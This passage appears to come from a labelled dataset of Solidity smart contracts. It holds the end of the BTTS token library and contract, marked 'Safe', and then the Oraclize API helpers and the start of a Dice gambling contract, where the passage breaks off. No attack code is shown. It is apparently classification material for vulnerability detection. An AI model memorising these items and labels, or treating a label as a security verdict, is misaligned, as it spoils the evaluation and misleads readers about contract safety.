newOwner); self.owner = newOwner; self.newOwner = address(0); } // ------------------------------------------------------------------------ // Minting and management // ------------------------------------------------------------------------ function setMinter(Data storage self, address minter) public { require(msg.sender == self.owner); require(self.mintable); MinterUpdated(self.minter, minter); self.minter = minter; } function mint(Data storage self, address tokenOwner, uint tokens, bool lockAccount) public returns (bool success) { require(self.mintable); require(msg.sender == self.minter || msg.sender == self.owner); if (lockAccount) { self.accountLocked[tokenOwner] = true; } self.balances[tokenOwner] = safeAdd(self.balances[tokenOwner], tokens); self.totalSupply = safeAdd(self.totalSupply, tokens); Mint(tokenOwner, tokens, lockAccount); Transfer(address(0), tokenOwner, tokens); return true; } function unlockAccount(Data storage self, address tokenOwner) public { require(msg.sender == self.owner); require(self.accountLocked[tokenOwner]); self.accountLocked[tokenOwner] = false; AccountUnlocked(tokenOwner); } function disableMinting(Data storage self) public { require(self.mintable); require(msg.sender == self.minter || msg.sender == self.owner); self.mintable = false; if (self.minter != address(0)) { MinterUpdated(self.minter, address(0)); self.minter = address(0); } MintingDisabled(); } function enableTransfers(Data storage self) public { require(msg.sender == self.owner); require(!self.transferable); self.transferable = true; TransfersEnabled(); } // ------------------------------------------------------------------------ // Other functions // ------------------------------------------------------------------------ function transferAnyERC20Token(Data storage self, address tokenAddress, uint tokens) public returns (bool success) { require(msg.sender == self.owner); return ERC20Interface(tokenAddress).transfer(self.owner, tokens); } // ------------------------------------------------------------------------ // ecrecover from a signature rather than the signature in parts [v, r, s] // The signature format is a compact form {bytes32 r}{bytes32 s}{uint8 v}. // Compact means, uint8 is not padded to 32 bytes. // // An invalid signature results in the address(0) being returned, make // sure that the returned result is checked to be non-zero for validity // // Parts from https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d // ------------------------------------------------------------------------ function ecrecoverFromSig(bytes32 hash, bytes sig) public pure returns (address recoveredAddress) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return address(0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) } // Albeit non-transactional signatures are not specified by the YP, one would expect it to match the YP range of [27, 28] // geth uses [0, 1] and some clients have followed. This might change, see https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) { v += 27; } if (v != 27 && v != 28) return address(0); return ecrecover(hash, v, r, s); } // ------------------------------------------------------------------------ // Get CheckResult message // ------------------------------------------------------------------------ function getCheckResultMessage(Data storage /*self*/, BTTSTokenInterface.CheckResult result) public pure returns (string) { if (result == BTTSTokenInterface.CheckResult.Success) { return ""Success""; } else if (result == BTTSTokenInterface.CheckResult.NotTransferable) { return ""Tokens not transferable yet""; } else if (result == BTTSTokenInterface.CheckResult.AccountLocked) { return ""Account locked""; } else if (result == BTTSTokenInterface.CheckResult.SignerMismatch) { return ""Mismatch in signing account""; } else if (result == BTTSTokenInterface.CheckResult.InvalidNonce) { return ""Invalid nonce""; } else if (result == BTTSTokenInterface.CheckResult.InsufficientApprovedTokens) { return ""Insufficient approved tokens""; } else if (result == BTTSTokenInterface.CheckResult.InsufficientApprovedTokensForFees) { return ""Insufficient approved tokens for fees""; } else if (result == BTTSTokenInterface.CheckResult.InsufficientTokens) { return ""Insufficient tokens""; } else if (result == BTTSTokenInterface.CheckResult.InsufficientTokensForFees) { return ""Insufficient tokens for fees""; } else if (result == BTTSTokenInterface.CheckResult.OverflowError) { return ""Overflow error""; } else { return ""Unknown error""; } } // ------------------------------------------------------------------------ // Token functions // ------------------------------------------------------------------------ function transfer(Data storage self, address to, uint tokens) public returns (bool success) { // Owner and minter can move tokens before the tokens are transferable require(self.transferable || (self.mintable && (msg.sender == self.owner || msg.sender == self.minter))); require(!self.accountLocked[msg.sender]); self.balances[msg.sender] = safeSub(self.balances[msg.sender], tokens); self.balances[to] = safeAdd(self.balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(Data storage self, address spender, uint tokens) public returns (bool success) { require(!self.accountLocked[msg.sender]); self.allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(Data storage self, address from, address to, uint tokens) public returns (bool success) { require(self.transferable); require(!self.accountLocked[from]); self.balances[from] = safeSub(self.balances[from], tokens); self.allowed[from][msg.sender] = safeSub(self.allowed[from][msg.sender], tokens); self.balances[to] = safeAdd(self.balances[to], tokens); Transfer(from, to, tokens); return true; } function approveAndCall(Data storage self, address spender, uint tokens, bytes data) public returns (bool success) { require(!self.accountLocked[msg.sender]); self.allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Signed function // ------------------------------------------------------------------------ function signedTransferHash(Data storage /*self*/, address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { hash = keccak256(signedTransferSig, address(this), tokenOwner, to, tokens, fee, nonce); } function signedTransferCheck(Data storage self, address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (BTTSTokenInterface.CheckResult result) { if (!self.transferable) return BTTSTokenInterface.CheckResult.NotTransferable; bytes32 hash = signedTransferHash(self, tokenOwner, to, tokens, fee, nonce); if (tokenOwner == address(0) || tokenOwner != ecrecoverFromSig(keccak256(signingPrefix, hash), sig)) return BTTSTokenInterface.CheckResult.SignerMismatch; if (self.accountLocked[tokenOwner]) return BTTSTokenInterface.CheckResult.AccountLocked; if (self.nextNonce[tokenOwner] != nonce) return BTTSTokenInterface.CheckResult.InvalidNonce; uint total = safeAdd(tokens, fee); if (self.balances[tokenOwner] < tokens) return BTTSTokenInterface.CheckResult.InsufficientTokens; if (self.balances[tokenOwner] < total) return BTTSTokenInterface.CheckResult.InsufficientTokensForFees; if (self.balances[to] + tokens < self.balances[to]) return BTTSTokenInterface.CheckResult.OverflowError; if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return BTTSTokenInterface.CheckResult.OverflowError; return BTTSTokenInterface.CheckResult.Success; } function signedTransfer(Data storage self, address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) { require(self.transferable); bytes32 hash = signedTransferHash(self, tokenOwner, to, tokens, fee, nonce); require(tokenOwner != address(0) && tokenOwner == ecrecoverFromSig(keccak256(signingPrefix, hash), sig)); require(!self.accountLocked[tokenOwner]); require(self.nextNonce[tokenOwner] == nonce); self.nextNonce[tokenOwner] = nonce + 1; self.balances[tokenOwner] = safeSub(self.balances[tokenOwner], tokens); self.balances[to] = safeAdd(self.balances[to], tokens); Transfer(tokenOwner, to, tokens); self.balances[tokenOwner] = safeSub(self.balances[tokenOwner], fee); self.balances[feeAccount] = safeAdd(self.balances[feeAccount], fee); Transfer(tokenOwner, feeAccount, fee); return true; } function signedApproveHash(Data storage /*self*/, address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { hash = keccak256(signedApproveSig, address(this), tokenOwner, spender, tokens, fee, nonce); } function signedApproveCheck(Data storage self, address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (BTTSTokenInterface.CheckResult result) { if (!self.transferable) return BTTSTokenInterface.CheckResult.NotTransferable; bytes32 hash = signedApproveHash(self, tokenOwner, spender, tokens, fee, nonce); if (tokenOwner == address(0) || tokenOwner != ecrecoverFromSig(keccak256(signingPrefix, hash), sig)) return BTTSTokenInterface.CheckResult.SignerMismatch; if (self.accountLocked[tokenOwner]) return BTTSTokenInterface.CheckResult.AccountLocked; if (self.nextNonce[tokenOwner] != nonce) return BTTSTokenInterface.CheckResult.InvalidNonce; if (self.balances[tokenOwner] < fee) return BTTSTokenInterface.CheckResult.InsufficientTokensForFees; if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return BTTSTokenInterface.CheckResult.OverflowError; return BTTSTokenInterface.CheckResult.Success; } function signedApprove(Data storage self, address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) { require(self.transferable); bytes32 hash = signedApproveHash(self, tokenOwner, spender, tokens, fee, nonce); require(tokenOwner != address(0) && tokenOwner == ecrecoverFromSig(keccak256(signingPrefix, hash), sig)); require(!self.accountLocked[tokenOwner]); require(self.nextNonce[tokenOwner] == nonce); self.nextNonce[tokenOwner] = nonce + 1; self.allowed[tokenOwner][spender] = tokens; Approval(tokenOwner, spender, tokens); self.balances[tokenOwner] = safeSub(self.balances[tokenOwner], fee); self.balances[feeAccount] = safeAdd(self.balances[feeAccount], fee); Transfer(tokenOwner, feeAccount, fee); return true; } function signedTransferFromHash(Data storage /*self*/, address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { hash = keccak256(signedTransferFromSig, address(this), spender, from, to, tokens, fee, nonce); } function signedTransferFromCheck(Data storage self, address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (BTTSTokenInterface.CheckResult result) { if (!self.transferable) return BTTSTokenInterface.CheckResult.NotTransferable; bytes32 hash = signedTransferFromHash(self, spender, from, to, tokens, fee, nonce); if (spender == address(0) || spender != ecrecoverFromSig(keccak256(signingPrefix, hash), sig)) return BTTSTokenInterface.CheckResult.SignerMismatch; if (self.accountLocked[from]) return BTTSTokenInterface.CheckResult.AccountLocked; if (self.nextNonce[spender] != nonce) return BTTSTokenInterface.CheckResult.InvalidNonce; uint total = safeAdd(tokens, fee); if (self.allowed[from][spender] < tokens) return BTTSTokenInterface.CheckResult.InsufficientApprovedTokens; if (self.allowed[from][spender] < total) return BTTSTokenInterface.CheckResult.InsufficientApprovedTokensForFees; if (self.balances[from] < tokens) return BTTSTokenInterface.CheckResult.InsufficientTokens; if (self.balances[from] < total) return BTTSTokenInterface.CheckResult.InsufficientTokensForFees; if (self.balances[to] + tokens < self.balances[to]) return BTTSTokenInterface.CheckResult.OverflowError; if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return BTTSTokenInterface.CheckResult.OverflowError; return BTTSTokenInterface.CheckResult.Success; } function signedTransferFrom(Data storage self, address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) { require(self.transferable); bytes32 hash = signedTransferFromHash(self, spender, from, to, tokens, fee, nonce); require(spender != address(0) && spender == ecrecoverFromSig(keccak256(signingPrefix, hash), sig)); require(!self.accountLocked[from]); require(self.nextNonce[spender] == nonce); self.nextNonce[spender] = nonce + 1; self.balances[from] = safeSub(self.balances[from], tokens); self.allowed[from][spender] = safeSub(self.allowed[from][spender], tokens); self.balances[to] = safeAdd(self.balances[to], tokens); Transfer(from, to, tokens); self.balances[from] = safeSub(self.balances[from], fee); self.allowed[from][spender] = safeSub(self.allowed[from][spender], fee); self.balances[feeAccount] = safeAdd(self.balances[feeAccount], fee); Transfer(from, feeAccount, fee); return true; } function signedApproveAndCallHash(Data storage /*self*/, address tokenOwner, address spender, uint tokens, bytes data, uint fee, uint nonce) public view returns (bytes32 hash) { hash = keccak256(signedApproveAndCallSig, address(this), tokenOwner, spender, tokens, data, fee, nonce); } function signedApproveAndCallCheck(Data storage self, address tokenOwner, address spender, uint tokens, bytes data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (BTTSTokenInterface.CheckResult result) { if (!self.transferable) return BTTSTokenInterface.CheckResult.NotTransferable; bytes32 hash = signedApproveAndCallHash(self, tokenOwner, spender, tokens, data, fee, nonce); if (tokenOwner == address(0) || tokenOwner != ecrecoverFromSig(keccak256(signingPrefix, hash), sig)) return BTTSTokenInterface.CheckResult.SignerMismatch; if (self.accountLocked[tokenOwner]) return BTTSTokenInterface.CheckResult.AccountLocked; if (self.nextNonce[tokenOwner] != nonce) return BTTSTokenInterface.CheckResult.InvalidNonce; if (self.balances[tokenOwner] < fee) return BTTSTokenInterface.CheckResult.InsufficientTokensForFees; if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return BTTSTokenInterface.CheckResult.OverflowError; return BTTSTokenInterface.CheckResult.Success; } function signedApproveAndCall(Data storage self, address tokenOwner, address spender, uint tokens, bytes data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) { require(self.transferable); bytes32 hash = signedApproveAndCallHash(self, tokenOwner, spender, tokens, data, fee, nonce); require(tokenOwner != address(0) && tokenOwner == ecrecoverFromSig(keccak256(signingPrefix, hash), sig)); require(!self.accountLocked[tokenOwner]); require(self.nextNonce[tokenOwner] == nonce); self.nextNonce[tokenOwner] = nonce + 1; self.allowed[tokenOwner][spender] = tokens; Approval(tokenOwner, spender, tokens); self.balances[tokenOwner] = safeSub(self.balances[tokenOwner], fee); self.balances[feeAccount] = safeAdd(self.balances[feeAccount], fee); Transfer(tokenOwner, feeAccount, fee); ApproveAndCallFallBack(spender).receiveApproval(tokenOwner, tokens, address(this), data); return true; } } // ---------------------------------------------------------------------------- // BokkyPooBah's Token Teleportation Service Token v1.10 // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- contract BTTSToken is BTTSTokenInterface { using BTTSLib for BTTSLib.Data; BTTSLib.Data data; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BTTSToken(address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public { data.init(owner, symbol, name, decimals, initialSupply, mintable, transferable); } // ------------------------------------------------------------------------ // Ownership // ------------------------------------------------------------------------ function owner() public view returns (address) { return data.owner; } function newOwner() public view returns (address) { return data.newOwner; } function transferOwnership(address _newOwner) public { data.transferOwnership(_newOwner); } function acceptOwnership() public { data.acceptOwnership(); } function transferOwnershipImmediately(address _newOwner) public { data.transferOwnershipImmediately(_newOwner); } // ------------------------------------------------------------------------ // Token // ------------------------------------------------------------------------ function symbol() public view returns (string) { return data.symbol; } function name() public view returns (string) { return data.name; } function decimals() public view returns (uint8) { return data.decimals; } // ------------------------------------------------------------------------ // Minting and management // ------------------------------------------------------------------------ function minter() public view returns (address) { return data.minter; } function setMinter(address _minter) public { data.setMinter(_minter); } function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success) { return data.mint(tokenOwner, tokens, lockAccount); } function accountLocked(address tokenOwner) public view returns (bool) { return data.accountLocked[tokenOwner]; } function unlockAccount(address tokenOwner) public { data.unlockAccount(tokenOwner); } function mintable() public view returns (bool) { return data.mintable; } function transferable() public view returns (bool) { return data.transferable; } function disableMinting() public { data.disableMinting(); } function enableTransfers() public { data.enableTransfers(); } function nextNonce(address spender) public view returns (uint) { return data.nextNonce[spender]; } // ------------------------------------------------------------------------ // Other functions // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) { return data.transferAnyERC20Token(tokenAddress, tokens); } // ------------------------------------------------------------------------ // Don't accept ethers // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Token functions // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return data.totalSupply - data.balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return data.balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return data.allowed[tokenOwner][spender]; } function transfer(address to, uint tokens) public returns (bool success) { return data.transfer(to, tokens); } function approve(address spender, uint tokens) public returns (bool success) { return data.approve(spender, tokens); } function transferFrom(address from, address to, uint tokens) public returns (bool success) { return data.transferFrom(from, to, tokens); } function approveAndCall(address spender, uint tokens, bytes _data) public returns (bool success) { return data.approveAndCall(spender, tokens, _data); } // ------------------------------------------------------------------------ // Signed function // ------------------------------------------------------------------------ function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { return data.signedTransferHash(tokenOwner, to, tokens, fee, nonce); } function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result) { return data.signedTransferCheck(tokenOwner, to, tokens, fee, nonce, sig, feeAccount); } function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) { return data.signedTransfer(tokenOwner, to, tokens, fee, nonce, sig, feeAccount); } function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { return data.signedApproveHash(tokenOwner, spender, tokens, fee, nonce); } function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result) { return data.signedApproveCheck(tokenOwner, spender, tokens, fee, nonce, sig, feeAccount); } function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) { return data.signedApprove(tokenOwner, spender, tokens, fee, nonce, sig, feeAccount); } function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { return data.signedTransferFromHash(spender, from, to, tokens, fee, nonce); } function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result) { return data.signedTransferFromCheck(spender, from, to, tokens, fee, nonce, sig, feeAccount); } function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) { return data.signedTransferFrom(spender, from, to, tokens, fee, nonce, sig, feeAccount); } function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce) public view returns (bytes32 hash) { return data.signedApproveAndCallHash(tokenOwner, spender, tokens, _data, fee, nonce); } function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result) { return data.signedApproveAndCallCheck(tokenOwner, spender, tokens, _data, fee, nonce, sig, feeAccount); } function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success) { return data.signedApproveAndCall(tokenOwner, spender, tokens, _data, fee, nonce, sig, feeAccount); } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } function transferOwnershipImmediately(address _newOwner) public onlyOwner { OwnershipTransferred(owner, _newOwner); owner = _newOwner; newOwner = address(0); } }",Safe,8,8 39961.sol,"pragma solidity ^0.4.0; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if(address(OAR)==0) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0xc03a2615d5efaf5f49f60b7bb6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03a2615d5efaf5f49f60b7bb6583eaec212fdf1); return true; } if (getCodeSize(0x51efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa); return true; } return false; } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } } // contract Dice is usingOraclize { uint constant pwin = 5000; //probability of winning (10000 = 100%) uint constant edge = 190; //edge percentage (10000 = 100%) uint constant maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) uint constant minBet = 200 finney; uint constant maxInvestors = 10; //maximum number of investors uint constant houseEdge = 190; //edge percentage (10000 = 100%) uint constant divestFee = 50; //divest fee percentage (10000 = 100%) uint constant emergencyWithdrawalRatio = 10; //ratio percentage (100 = 100%) uint safeGas = 2300; uint constant ORACLIZE_GAS_LIMIT = 175000; uint constant INVALID_BET_MARKER = 99999; uint constant EMERGENCY_TIMEOUT = 3 days; struct Investor { address investorAddress; uint amountInvested; bool votedForEmergencyWithdrawal; } struct Bet { address playerAddress; uint amountBet; uint numberRolled; } struct WithdrawalProposal { address toAddress; uint atTime; } //Starting at 1 mapping(address => uint) public investorIDs; mapping(uint => Investor) public investors; uint public numInvestors = 0; uint public invested = 0; address public owner; address public houseAddress; bool public isStopped; WithdrawalProposal public proposedWithdrawal; mapping (bytes32 => Bet) public bets; bytes32[] public betsKeys; uint public investorsProfit = 0; uint public investorsLosses = 0; bool profitDistributed; event LOG_NewBet(address playerAddress, uint amount); event LOG_BetWon(address playerAddress, uint numberRolled, uint amountWon); event LOG_BetLost(address playerAddress, uint numberRolled); event LOG_EmergencyWithdrawalProposed(); event LOG_EmergencyWithdrawalFailed(address withdrawalAddress); event LOG_EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); event LOG_FailedSend(address receiver, uint amount); event LOG_ZeroSend(); event LOG_InvestorEntrance(address investor, uint amount); event LOG_InvestorCapitalUpdate(address investor, int amount); event LOG_InvestorExit(address investor, uint amount); event LOG_ContractStopped(); event LOG_ContractResumed(); event LOG_OwnerAddressChanged(address oldAddr, address newOwnerAddress); event LOG_HouseAddressChanged(address oldAddr, address newHouseAddress); event LOG_GasLimitChanged(uint oldGasLimit, uint newGasLimit); event LOG_EmergencyAutoStop(); event LOG_EmergencyWithdrawalVote(address investor, bool vote); event LOG_ValueIsTooBig(); event LOG_SuccessfulSend(address addr, uint amount); function Dice() { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); owner = msg.sender; houseAddress = 